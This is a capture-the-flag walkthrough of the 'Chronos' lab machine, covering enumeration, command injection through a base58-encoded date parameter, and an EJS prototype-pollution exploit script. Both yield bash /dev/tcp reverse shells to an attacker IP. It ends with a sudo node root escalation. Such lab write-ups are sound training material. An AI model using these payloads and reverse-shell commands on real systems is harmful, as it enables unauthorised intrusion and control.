Difficulty : medium
This works better with VirtualBox rather than VMware
Enumeration
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
8000/tcp open http-alt syn-ack ttl 64
We have 3 ports open, two of these are HTTP. We can enumerate those first. Checking port 8000
for directories, we find /date
which leaks information to us:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>TypeError: Expected String<br> at decodeUnsafe (/opt/chronos/node_modules/base-x/src/index.js:66:45)<br> at Object.decode (/opt/chronos/node_modules/base-x/src/index.js:113:18)<br> at /opt/chronos/app.js:25:24<br> at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> at next (/opt/chronos/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/opt/chronos/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/opt/chronos/node_modules/express/lib/router/layer.js:95:5)<br> at /opt/chronos/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/opt/chronos/node_modules/express/lib/router/index.js:335:12)<br> at next (/opt/chronos/node_modules/express/lib/router/index.js:275:10)</pre>
</body>
</html>
We see this is running nodejs, we can take a look at the source code for the other page too and see some obfuscated javascript. Running this through de4js gives us the following:
var _0x5bdf = ['150447srWefj', '70lwLrol', '1658165LmcNig', 'open', '1260881JUqdKM', '10737CrnEEe', '2SjTdWC', 'readyState', 'responseText', '1278676qXleJg', '797116soVTES', 'onreadystatechange', 'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL', 'User-Agent', 'status', '1DYOODT', '400909Mbbcfr', 'Chronos', '2QRBPWS', 'getElementById', 'innerHTML', 'date'];
(function (_0x506b95, _0x817e36) {
var _0x244260 = _0x432d;
while (!![]) {
try {
var _0x35824b = -parseInt(_0x244260(0x7e)) * parseInt(_0x244260(0x90)) + parseInt(_0x244260(0x8e)) + parseInt(_0x244260(0x7f)) * parseInt(_0x244260(0x83)) + -parseInt(_0x244260(0x87)) + -parseInt(_0x244260(0x82)) * parseInt(_0x244260(0x8d)) + -parseInt(_0x244260(0x88)) + parseInt(_0x244260(0x80)) * parseInt(_0x244260(0x84));
if (_0x35824b === _0x817e36) break;
else _0x506b95['push'](_0x506b95['shift']());
} catch (_0x3fb1dc) {
_0x506b95['push'](_0x506b95['shift']());
}
}
}(_0x5bdf, 0xcaf1e));
function _0x432d(_0x16bd66, _0x33ffa9) {
return _0x432d = function (_0x5bdf82, _0x432dc8) {
_0x5bdf82 = _0x5bdf82 - 0x7e;
var _0x4da6e8 = _0x5bdf[_0x5bdf82];
return _0x4da6e8;
}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
var _0x17df92 = _0x432d,
_0x1cff55 = _0x17df92(0x8f),
_0x2beb35 = new XMLHttpRequest();
_0x2beb35[_0x17df92(0x89)] = function () {
var _0x146f5d = _0x17df92;
this[_0x146f5d(0x85)] == 0x4 && this[_0x146f5d(0x8c)] == 0xc8 && (document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)] = this[_0x146f5d(0x86)]);
}, _0x2beb35[_0x17df92(0x81)]('GET', _0x17df92(0x8a), !![]), _0x2beb35['setRequestHeader'](_0x17df92(0x8b), _0x1cff55), _0x2beb35['send']();
}
We can try forge a request using what we have, we also need to be able to connect to chronos.local
, we add this to /etc/hosts
. There’s a couple other pieces of information. The user-agent used to verify requests is just Chronos
, we can edit that in our request or use a user-agent manager. We also see a base58 encoded strign in the URL which decode to the following:
'+Today is %A, %B %d, %Y %H:%M:%S.'
Foothold
This looks to be formatting that’s passed to the date command. We can try use this to perform RCE:
https://gchq.github.io/CyberChef/#recipe=To_Base58('123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz')&input=O2Jhc2ggLWMgJy9iaW4vYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI4LzQ0NDMgMD4mMSc
My final request looks like:
http://chronos.local:8000/date?format=3PHb23jX4LFvcj5Lok74uccmWGAXAuHrhmxQnPfmCY9GWfGPTiYxaidiPMoJQLHbTqJ4rs8kYyhojzEza
If you get Permission Denied
ensure that your user-agent is changed to Chronos
(case sensitive). After navigating to the URL, we get a reverse shell:
User own
We can start enumerating the box and see that there’s another HTTP service running locally on port 8080. The source code of which can be found in /opt/chronos-v2
. We can check the imports of backend/server.js
and see there’s potential RCE:
Googling this gives us the following article:
https://dev.to/boiledsteak/simple-remote-code-execution-on-ejs-web-applications-with-express-fileupload-3325
I modified the PoC in the article to get us a reverse shell:
##############################################################
# Run this .py to perform EJS-RCE attack
# referenced from
# https://blog.p6.is/Real-World-JS-1/
#
# Timothy, 10 November 2020
##############################################################
### imports
import requests
### commands to run on victim machine
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.1.128/4444 0>&1"'
print("Starting Attack...")
### pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
### execute command
requests.get('http://127.0.0.1:8080')
print("Finished!")
We run the exploit and get our user own:
Root own
We have a few sudo entries that we can try use:
Node more or less gives us instant root:
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'